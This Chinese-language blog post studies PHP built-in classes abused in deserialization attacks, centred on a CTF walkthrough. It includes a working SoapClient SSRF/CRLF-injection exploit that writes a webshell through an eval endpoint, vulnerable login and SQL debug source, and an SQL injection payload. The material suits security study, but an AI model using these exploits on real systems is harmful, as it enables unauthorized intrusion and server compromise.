关于PHP内部类的一些总结学习
前言:
这篇文章主要对一些可以进行反序列化的php内置类的分析总结(膜lemon师傅之前的总结),当然不是所有的php内置类在存在反序列化漏洞时都能够直接利用,有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny
来禁止一些类的反序列化,比如序列化DirectoryIterator的时候,DirectoryIterator主要用来输出目录,用法如下图
1.Soapclient
soapclient有两种工作模式,wsdl和非wsdl模式,WSDL 用来描述如何访问具体的接口,soap协议的具体格式可以参考这篇文章,soap采用http或者https协议发送数据,并且在http header头中通过soap action来标示自己是一个soap请求
https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html
如果是在非wsdl模式下,将可以通过指定配置选项location和url来进行网络请求的发送,那就意味着我们可以通过该内置类来进行ssrf,当然需要有反序化条件为基础,通过触发其__call方法来发送网络请求,为啥要调用call方法来触发,我看了看php的源码,在ext/soap扩展里面发现了如下:
首先定位到定义__call方法的函数处,php源码定义某个方法是通过php_method前缀
然后调用了do_soap_call方法
然后就通过php源码中的do_request方法来发送网络请求
exp(来自wupco师傅):
- <?php
- $target = 'http://127.0.0.1/test.php';
- $post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
- $headers = array(
- 'X-Forwarded-For: 127.0.0.1',
- 'Cookie: xxxx=1234'
- );
- $b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
- 'uri'=> "aaab"));
- //因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
- $aaa = serialize($b);
- $aaa = str_replace('^^','%0d%0a',$aaa);
- $aaa = str_replace('&','%26',$aaa);
- $c=unserialize(urldecode($aaa));
- $c->ss(); //调用_call方法触发网络请求发送
- ?>
- <?php
- if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
- echo 'hi';
- @$a=$_POST[1];
- @eval($a);
- }
- ?>
执行exp后已经成功写入shell.php,说明反序列化soapclient对象成功,并且网站也是有权限写进去的,所以还是要对反序列化的数据进行严格过滤
如果是GET请求,就简单得多,只需要构造好location就可以
暨南大学2018校赛的一道CTF题
要利用反序列化soapclient当然要求服务器上的php开启了soap扩展,那么题目中给了phpinfo,可以看到soap是开启的,实际渗透测试中遇到反序列化的点,可以用exp盲打
给了两个php的源码:
index.php
- <?php
- ini_set('display_errors', 1);
- ini_set('display_startup_errors', 1);
- error_reporting(-1);
- class Auth {
- public $username = '';
- public $login = 0;
- public function verify() {
- return 'FALSE';
- }
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- </head>
- <body>
- <h1>Login</h1>
- <form action="" method="POST">
- <table>
- <tr>
- <td>Username</td>
- <td><input type="text" name="username"></td>
- </tr>
- <tr>
- <td>Password</td>
- <td><input type="password" name="password"></td>
- </tr>
- <tr>
- <td>Remember me <input type="checkbox" name="rememberme"></td>
- <td><input type="submit" value="Submit"></td>
- </tr>
- </table>
- </form>
- <p>
- <?php
- if (isset($_POST['username'])) {
- $auth = new Auth();
- $auth->username = $_POST['username'];
- setcookie('auth', base64_encode(serialize($auth)));
- } elseif (isset($_COOKIE['auth'])) {
- $auth = unserialize(base64_decode($_COOKIE['auth']));
- }
- if (isset($auth)) {
- echo $auth->verify();
- }
- ?>
- </p>
- </body>
- </html>
sqldebug.php
- <?php
- include_once('db.php');
- if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
- die('you need to be 127.0.0.1');
- }
- $uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
- if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
- die('NONONO!');
- }
- $db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);
- $sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";
- $result = $db->query($sql);
- $result = $result->fetch_assoc();
- echo $result[COLUMN_USERNAME];
- mysqli_close($db);
- ?>
这里的$uid过滤不严格,导致可以注入,比如最简单的payload就为:
- $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23 #将location替换即可
后面注入细节不再说了,具体注入分析见:
https://xz.aliyun.com/t/2960#toc-0
2.SimpleXMLElement
具体就是利用实例化该类的对象来传入xml代码进行xxe攻击
https://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/#M-tbRemYKdmb5mr4dRCndhHCM5YaFRaRf8
3.利用魔术方法__toString
a.Error----适用于php7版本----XSS
b.Exception----适用于php5、7版本----XSS
两个用法见lemon师傅博客https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
参考(侵删):
https://xz.aliyun.com/t/2960#toc-0
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
关于PHP内部类的一些总结学习的更多相关文章
- 回顾一年的IT学习历程与大学生活
今天是2015年8月27日,距离成为大三狗还有一个多星期,在这个不算繁忙的暑假的下午来总结一下这一年来,在IT方面的学习. 一.入门(2014.3) 我大一的专业是信息工程,信息工程听上去就是信息(I ...
- Java 内部类分析
一.简介 因为现在是Android开发实习生.发现在发展过程中越来越多,但他们知道什么时候该使用真实的情况,但没有获得,例如,使用内部类,因此,学习和自己的总结后发现,通过互联网的信息,家分享,如有不 ...
- JAVA基础——内部类详解
JAVA内部类详解 在我的另一篇java三大特性的封装中讲到java内部类的简单概要,这里将详细深入了解java内部类的使用和应用. 我们知道内部类可分为以下几种: 成员内部类 静态内部类 方法内部类 ...
- “全栈2019”Java第九十六章:抽象局部内部类详解
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
- 20155235 2016-2017-1 《Java程序设计》第3周学习总结
20155235 2016-2017-1 <Java程序设计>第3周学习总结 教材学习内容总结 第四章 认识对象 类与对象 定义类 使用标准类 对象指定与相等性 基本类型打包器 打包基本类 ...
- “全栈2019”Java第六十七章:内部类、嵌套类详解
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
- 小白学Java:内部类
目录 小白学Java:内部类 内部类的分类 成员内部类 局部内部类 静态内部类 匿名内部类 内部类的继承 内部类有啥用 小白学Java:内部类 内部类是封装的一种形式,是定义在类或接口中的类. 内部类 ...
- Java并发包源码学习系列:ReentrantReadWriteLock读写锁解析
目录 ReadWriteLock读写锁概述 读写锁案例 ReentrantReadWriteLock架构总览 Sync重要字段及内部类表示 写锁的获取 void lock() boolean writ ...
- 2018年秋季学期面向对象程序设计(JAVA)课程总结
2018年秋季学期面向对象程序设计(JAVA)课程总结 时值2018年年末,按惯例对本学期教学工作小结如下: 1. 教学资源与教学辅助平台 教材:凯 S.霍斯特曼 (Cay S. Horstmann) ...
随机推荐
- extjs CheckboxGroup
// 复选框 var fxkGroup = new Ext.form.CheckboxGroup({ id : 'fxkGroup', xtype : 'checkboxgroup', name : ...
- location(重定向,跳转到其他网页)
<?php header('Location : https://www.baidu.com'); 这里是在响应头中添加一个 location 的头信息 客户端浏览器在接收到这个头信息过后会自动 ...
- spring boot 使用RedisTemplate
1导入包 <!-- redis --> <dependency> <groupId>org.springframework.boot</groupId> ...
- 阿里云linux配置ftp服务
阿里云linux配置ftp服务 一.ftp服务安装 运行以下命令安装ftp yum install -y vsftpd 运行以下命令打开及查看etc/vsftpd cd /etc/vsftpd ls ...
- Oracle层次查询start with connect by
博客参考:https://www.cnblogs.com/jerryxing/articles/2339352.html start with connect by 层次查询(Hierarchical ...
- UE中正则表达式
UltraEdit(后简称UE),是我经常使用的文本编辑软件,其功能的强大,令我由衷地爱上了它.每天不用就全身不爽.从最开始的9.0到现在的 12.10a(本人只用到这个版本),UE都是系统重装后必安 ...
- 【1】Zookeeper概述
一.前言 在"网络是不可靠的"这一前提下,分布式系统开发需要解决如下四个问题: 客户端如何访问众多服务? 解决方案:服务聚合,使用API网关 服务于服务之间如何通信? 解决方案 ...
- KMS激活的密钥
今天办公电脑黑屏了,仔细一看,变成了未激活.于是从网上找到了所有Windows版本的GVLK密钥,试了一下完美激活,应该是180天的吧.先用着,等下次过期了再说,哈哈. GVLK密钥是专门用于KMS激 ...
- linux基础—课堂随笔08_进程(转)
进程优先级 命令 pstree -p 显示各个子线程 ps 进程状态(process state) UNIX风格:ps -ef BSD风格:ps aux 还有用到o参数,选项显示定制的信息: pid. ...
- Kaggle_泰坦尼克乘客存活预测
转载 逻辑回归应用之Kaggle泰坦尼克之灾 此转载只为保存!!! ————————————————版权声明:本文为CSDN博主「寒小阳」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附 ...